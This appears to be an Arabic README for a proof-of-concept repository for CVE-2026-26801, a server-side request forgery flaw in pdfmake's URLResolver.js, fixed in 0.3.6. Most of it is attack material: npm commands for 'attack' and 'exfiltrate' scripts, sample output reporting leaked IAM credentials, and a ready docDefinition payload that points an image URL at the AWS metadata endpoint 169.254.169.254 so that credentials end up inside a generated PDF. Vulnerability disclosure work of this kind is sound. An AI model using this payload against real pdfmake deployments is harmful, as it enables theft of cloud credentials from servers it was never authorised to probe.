
# إثبات المفهوم لـ CVE-2026-26801: SSRF في pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| الحقل | القيمة |
|---|
| الحزمة | pdfmake |
| الإصدار | >= 0.3.0-beta.2, <= 0.3.5 |
| الإصدار المُصلَح | 0.3.6 |
| CVE | CVE-2026-26801 |
| النوع | تزوير الطلبات من جانب الخادم (SSRF) |
| الموقع | src/URLResolver.js |
| الخطورة | عالية |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
عندما يحتوي docDefinition على عناوين URL في images أو attachments أو files، يقوم pdfmake بجلبها دون أي تحقق:
npm install
npm run metadata
npm run server
SSRF أعمى (يُثبت أن الخادم يُصدر طلبات خارجية):
npm run attack
SSRF بقراءة كاملة (بيانات الاعتماد مضمّنة في ملف PDF المُنشأ):
npm run exfiltrate
npm run attack)مخرجات خادم البيانات الوصفية:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
هذا يُثبت أن الخادم الضعيف أصدر طلبًا خارجيًا إلى نقطة النهاية التي نتحكم بها.
npm run exfiltrate)يُنشئ سكربت الهجوم ملف exfiltrated.pdf. افتحه في أي عارض PDF وستجد بيانات اعتماد AWS بصيغة JSON مضمّنة كمرفق ملف (metadata.json). هذا يُثبت سرقة بيانات كاملة، وليس مجرد SSRF أعمى. يحصل المهاجم على نص الاستجابة الفعلي داخل ملف PDF.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
توثيق فني كامل مع قصة كيفية اكتشاف هذه الثغرة، وسلسلة الهجوم، والجدول الزمني للإفصاح: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf